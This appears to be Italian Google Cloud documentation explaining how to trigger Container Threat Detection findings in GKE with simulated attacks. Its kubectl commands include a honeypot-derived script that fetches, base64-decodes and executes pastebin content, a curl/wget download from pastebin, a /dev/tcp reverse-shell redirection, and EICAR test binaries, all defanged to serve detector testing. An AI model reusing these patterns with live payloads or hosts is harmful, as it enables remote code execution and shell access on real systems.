Verifica di Container Threat Detection

Questa pagina spiega come verificare il funzionamento di Container Threat Detection attivando intenzionalmente i rilevatori e controllando la presenza di risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare Container Threat Detection dei risultati, deve essere abilitato nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster si trovano su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta l'articolo sull'utilizzo di una versione GKE supportata.

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione tramite comandi SQL. Le seguenti variabili vengono utilizzate per testare tutti i detector di Container Threat Detection.

  1. Vai alla console Google Cloud.

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il container che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      
    2. Il progetto in cui si trova il contenitore:

      export PROJECT=PROJECT_ID
      
    3. Il nome del cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di minacce nei contenitori.

Programma binario aggiuntivo eseguito

Per attivare un rilevamento Programma binario aggiuntivo eseguito, inserisci un file binario nel contenitore e eseguilo. In questo esempio viene eseguito il deployment dell'ultima immagine Ubuntu 18.04, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del file binario è inaspettata perché la copia del file binario non faceva parte dell'immagine del contenitore originale, anche se l'immagine è su Ubuntu 18.04 e i contenitori sono pensati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Rilascia un programma binario ed eseguilo:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

Questa procedura di test dovrebbe creare un risultato Binary Eseguito aggiunto che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.

Per ridurre il rumore, quando crei un container, Container Threat Detection filtra temporaneamente i risultati binari aggiunti aggiunti. Per visualizzare tutti i file binari aggiunti Risultati eseguiti durante la configurazione di un container, prefisso al nome del container o il nome del pod con ktd-test, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un rilevamento di libreria aggiuntiva caricata, inserisci una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 18.04, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi lo carica utilizzando ld. La libreria caricata non è prevista perché la copia della libreria non è stata parte dell'immagine container originale, anche se si trova su Ubuntu 18.04, e i container sono pensati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Rilascia una raccolta e utilizza ld per caricarla:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

Questa procedura di test dovrebbe creare un risultato con caricamento della libreria aggiunta che puoi in Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi alle librerie caricate aggiunte. Per visualizzare tutti i risultati relativi alla libreria caricata durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: programma binario dannoso aggiuntivo eseguito

Per attivare un rilevamento Esecuzione: programma binario aggiuntivo eseguito, inserisci un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment Ubuntu 18.04, crea un file dannoso simulato e lo esegue. L'esecuzione del file binario è inaspettata perché il file binario dannoso simulato non faceva parte dell'immagine del contenitore originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Inserisci il file binario EICAR ed eseguilo:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
    

Questa procedura di test dovrebbe creare un risultato Esecuzione: codice binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi al livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: codice binario dannoso eseguito. Per visualizzare tutti i risultati di Esecuzione: è stato eseguito un codice binario dannoso aggiunto durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Execution: Malicious Python executed

Per attivare un risultato Execution: Malicious Python executed, puoi eseguire Python nella seguente procedura nel tuo container.

La procedura esegue il deployment dell'immagine Python più recente, copia il codice Python sembra dannoso e lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Esegui il seguente script in un nuovo contenitore.

    Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso. L'esecuzione dello script non causerà attività dannose nel container. Il file binario all'URL a cui si fa riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando un lo script incorporato è l'elemento che attiva il rilevamento.

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true  -i \
    --image marketplace.gcr.io/google/python:latest "$tag" \
    -- python -c "import urllib
    import base64
    import os
    
    url = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    f = os.popen(str(page))
    url = 'https://pastebin.com/raw/Z'
    d = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    exec(page)"
    

Questa procedura di test crea un risultato Execution: Malicious Python executed che indica che possono essere visualizzati in Security Command Center e Cloud Logging, se hai configurato logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione di un file binario dannoso modificato

Per attivare un rilevamento Esecuzione: programma binario dannoso modificato eseguito, modifica un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 18.04 più recente, modifica /bin/ls in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del programma binario è imprevisto perché l'elemento /bin/ls creato viene modificato durante il runtime del container un EICAR che testa un file binario dannoso, mentre il file binario EICAR è un file dannoso noto in base alle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Elimina il file binario EICAR ed eseguilo:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

Questa procedura di test dovrebbe creare un risultato Esecuzione: codice binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi la versione Premium o Enterprise livello di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: codice binario dannoso modificato eseguito. Per vedere tutti i risultati di esecuzione: risultati binari modificati ed eseguiti mentre un container in fase di configurazione, anteponi ktd-test al nome del container o del pod, come esempio.

Script dannoso eseguito

Per attivare un rilevamento di script dannoso eseguito, puoi eseguire lo script nella procedura riportata di seguito nel contenitore.

La procedura esegue il deployment dell'immagine Ubuntu 18.04 più recente, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, lo script deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Esegui lo script seguente in un nuovo container.

    Questo script shell Bash in linea ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso, pertanto l'esecuzione dello script non causi attività dannose nel container. Il file binario all'URL a cui si fa riferimento potrebbe essere stato rimosso e tentando di per seguire l'URL, comporterà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un programma binario utilizzando un lo script incorporato è l'elemento che attiva il rilevamento.

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

Questa procedura di test crea un risultato Script dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

URL dannoso rilevato

Per attivare un rilevamento di URL dannosi, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 18.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Esegui curl e fornisci un URL dannoso come argomento:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

Questa procedura di test attiva un risultato URL dannoso rilevato che puoi visualizzare in Security Command Center e, se hai configurato il logging per Container Threat Detection, in Cloud Logging. Visualizzazione i risultati in Cloud Logging sono disponibili solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un risultato della shell inversa, avvia un programma binario con il reindirizzamento stdin a un socket connesso TCP. In questo esempio viene copiato /bin/echo in /tmp/bash, quindi avvia /tmp/bash con il reindirizzamento al DNS pubblico di Google 8.8.8.8 sulla porta DNS. Non viene stampato nulla quando esegui questo esempio. A Impedire l'inserimento di codice esterno tramite un attacco man in the middle (MITM), in questo esempio non viene usato il programma binario /bin/bash.

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Avvia un programma binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
    

Questa procedura di test crea un risultato della shell inversa che puoi visualizzare Security Command Center e in Cloud Logging, se hai configurato Logging per Container Threat Detection. Visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi Livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondario imprevisto

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero dei processi che includa un processo shell figlio.

L'esempio seguente crea un albero di processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. In questo esempio si verifica quanto segue:

  1. Crea una copia del processo bash e la denomina consul.
  2. Copia il processo echo e lo nomina dash.
  3. Richiama il processo dash copiato nel processo consul copiato.

Per attivare un rilevamento Unexpected Child Shell:

  1. Imposta le variabili di ambiente.

  2. Usa Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. Usa il processo consul fittizio per richiamare una shell fittizia:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \
    /tmp/consul -c "/tmp/bash child ran successfully & wait"'
    

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se la registrazione è configurata per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Passaggi successivi